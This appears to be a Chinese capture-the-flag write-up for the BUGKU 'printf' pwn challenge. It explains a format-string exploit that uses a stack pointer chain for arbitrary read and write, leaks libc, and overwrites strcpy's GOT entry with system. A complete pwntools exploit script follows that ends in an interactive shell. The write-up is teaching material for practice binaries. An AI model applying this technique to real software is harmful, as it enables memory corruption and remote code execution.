BUGKU printf
整体思路
实现循环-->获取libc版本和system函数地址->将strcpy的got表项修改为system并获得shell
第一步:实现循环
从汇编语句可以看出,在每次循环结束时若0x201700处的值是否大于1则会继续循环。
encode1会将编码后的结果保存至0x2015c0处,而encode 1的编码逻辑比较简单,key的长度为0时明文和密文是一样的,因此只需传入b'\x00'为key以及写入一段长的内容使得0x201700的值是一个比较大的正整数即可。
第二步:获取libc版本和system函数地址
要获取libc版本,需要找到部分libc中的函数的地址,例如puts,read,printf,本题我们想办法找到puts和read函数的地址。
注意到,encode2在末尾调用了printf,且将密文作为唯一字符串传参,这意味着存在格式化漏洞。格式化漏洞的题目在首个参数位于栈上时并不困难,但encode2的密文并不是保存在栈上。
万变不离其宗:printf任意地址打印或写入的前提是我们能够把任意值写入到栈上的某个地方。
此外,由于每次循环只能printf一次,所以要注意这个保存任意地址的栈上的某个地方不能在下次调用printf前被其他内容覆盖掉。建议是从main函数栈尾(rbp)往上找,通常来说这段栈在main函数结束前不会被覆盖。(当然你也可以随便找一个会被回收的地方,然后赌下次调用前值是否被覆盖)
翻遍了代码,我没有找到一个能够直接在main的rbp往上的地方写入任意值的方法。
那么我们只能曲线救国,通常当字符串不在栈上时,要想往栈上某个地方写入任意值,我们就要找栈中是否存在一个超过3个元素的地址链条:p1-->p2-->p3,p2和p3要满足在printf调用后到下次调用前不被别的值覆盖。
通过调试发现,encode2函数中,printf的第14个参数(记作$14)正好指向$50,而$50正好指向$54,更有趣的是$50中保存的是main函数的rbp寄存器的值,这意味着$54是main函数的栈尾。显然,$50和$54在循环间是不会被覆盖的。
现在我们有了这个链条,具体要怎么往栈上某处写入任意值呢?
这个某处就是p3,这题是$54。
假设此时$54为0x0, $50处为0x7fff6550
我要往$54写入0x1234567887654321,假设此时$50处为0x7fff6550
首先使用"%87c%14$hhn",$50的最低字节会被写入0x57从而变成0x7fff6557
然后使用"%18c%50$hhn",$54的最高字节会被写入0x12从而变成0x1200000000000000
接着使用"%86c%14$hhn",$50的最低字节会被写入0x56从而变成0x7fff6556
然后使用"%52c%14$hhn",$54的最高字节会被写入0x34从而变成0x1234000000000000
如此往复,直到把$54写成0x1234567887654321为止。
既然能实现$54的任意内容读写,那我们当然也能实现任意地址读了,只需通过上述方法往$54处写入任意地址,然后用"%54$s"即可读出。那如何实现任意地址写呢?假设我们要往0x1234处写入0x5678,首先先通过上述方法把$54写成0x1234,然后通过$50不断修改$54的最低字节并通过$54修改对应内存即可。
通过上述方法,我们可以轻易打印出puts和read函数的地址,然后利用LibcSearcher函数搜索libc版本并获取system地址。
第三步:将strcpy的got表项修改为system并获取shell
为什么是修改strcpy?
考虑到本题字符串不在栈上,对任意地址的写入要通过多个循环完成,这意味着用于必须选择一个不在这些循环中被调用到的函数,而puts,read,printf都不行,同时我们还必须能够传入想要的字符串到rdi中,正好encode3中的strcpy满足了这一条件。
源码如下:
需要注意的是,不同系统中的p1-->p2-->p3链条可能存在差异,博主测试发现Ubuntu 24.04中的链条是$22->$50->$54,而centos 8上则是$14->$50->$54,BUGKU官方靶机也是$14->$50->$54。
from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'amd64')
sh = process('./pwn6')
# sh = remote('114.67.175.224', 18702)
# 构建encode2的密文->明文映射
c2m_v2 = {}
for a in range(256):
c2m_v2[((a & 192) >> 6) + (a & 48) * 4 + (a & 12) * 4 + (a & 3) * 4] = a
# 构建encode3密文->明文映射
c2m_v3 = {}
for a in range(256):
k = ((a & 192) >> 2) + ((a & 48) >> 2) + ((a & 12) >> 2) + a * 64
c2m_v3[k%256] = a
# 写入201700处实现无限重入
sh.sendlineafter('choice:\n', '1')
sh.sendafter('keys?\n', b'\x00') # 使得密文等于明文
sh.sendafter('to encode:\n', b'\x00' * 0x140 + p64(0x01111111))
def get_ptr(n):
sh.sendlineafter('choice:\n', '2')
cipher = '%' + str(n) + '$p\x00'
plain = ''.join([ chr(c2m_v2[ord(i)]) for i in cipher ])
sh.sendafter('to encode:\n', plain)
sentence = sh.recvuntil('nice encoding', drop=True)
addr = b'0x' + sentence.split(b'0x')[-1]
addr = addr.decode('utf-8')
addr = int(addr, 16)
return addr
def get_value(n):
sh.sendlineafter('choice:\n', '2')
cipher = '%' + str(n) + '$s\x00'
plain = ''.join([ chr(c2m_v2[ord(i)]) for i in cipher ])
sh.sendafter('to encode:\n', plain)
sentence = sh.recvuntil('nice encoding', drop=True)
value = u64(sentence[-6:].ljust(8, b'\x00'))
return value
def write_to_54(addr):
content_50 = get_ptr(50);
for j in range(8):
i = 7 - j
# write last byte of %50 from %14
last_byte = content_50 % 0x100 + i
sh.sendlineafter('choice:\n', '2')
cipher = '%' + str(last_byte) + 'c%14$hhn\x00'
plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])
sh.sendafter('to encode:\n', plain)
# write i-th byte of %54 from %50
addr_byte = (addr & (0xff << (8*i))) >> (8*i)
sh.sendlineafter('choice:\n', '2')
cipher = '%' + str(addr_byte) + 'c%50$hhn\x00'
if addr_byte == 0:
cipher = '%50$hhn\x00'
plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])
sh.sendafter('to encode:\n', plain)
def write_from_54(addr, value):
for j in range(8):
i = 7 - j
# write last byte of %54 from %50
last_byte = addr % 0x100 + i
sh.sendlineafter('choice:\n', '2')
cipher = '%' + str(last_byte) + 'c%50$hhn\x00'
plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])
sh.sendafter('to encode:\n', plain)
# write i-th byte of addr from %54
value_byte = (value & (0xff << (8*i))) >> (8*i)
sh.sendlineafter('choice:\n', '2')
cipher = '%' + str(value_byte) + 'c%54$hhn\x00'
if value_byte == 0:
cipher = '%54$hhn\x00'
plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])
sh.sendafter('to encode:\n', plain)
# 任意地址写
def modify(addr, value):
# value至少得有六字节
write_to_54(addr)
write_from_54(addr, value)
# 任意地址读
def get_value_of(addr):
write_to_54(addr)
return get_value(54)
# PIE基地址
base_addr = get_ptr(51) - 0xe5b
# 获取puts和read函数的地址
puts_got = base_addr + 0x201550
read_got = base_addr + 0x201560
puts_addr = get_value_of(puts_got)
read_addr = get_value_of(read_got)
# 搜索libc版本
libc = LibcSearcher("read", read_addr)
libc.add_condition("puts", puts_addr)
# 获取system函数地址
libc_base_addr = read_addr - libc.dump('read')
system_addr = libc_base_addr + libc.dump("system")
print('system_addr', hex(system_addr))
# printf修改strcpy的got使得指向system
strcpy_got = base_addr + 0x201580
modify(strcpy_got, system_addr)
# 获取shell
sh.sendlineafter('choice:\n', '3')
cipher = '/bin/sh\x00'
plain = ''.join([ chr(c2m_v3[ord(k)]) for k in cipher ])
sh.sendafter('to encode:\n', plain)
sh.recv()
sh.interactive()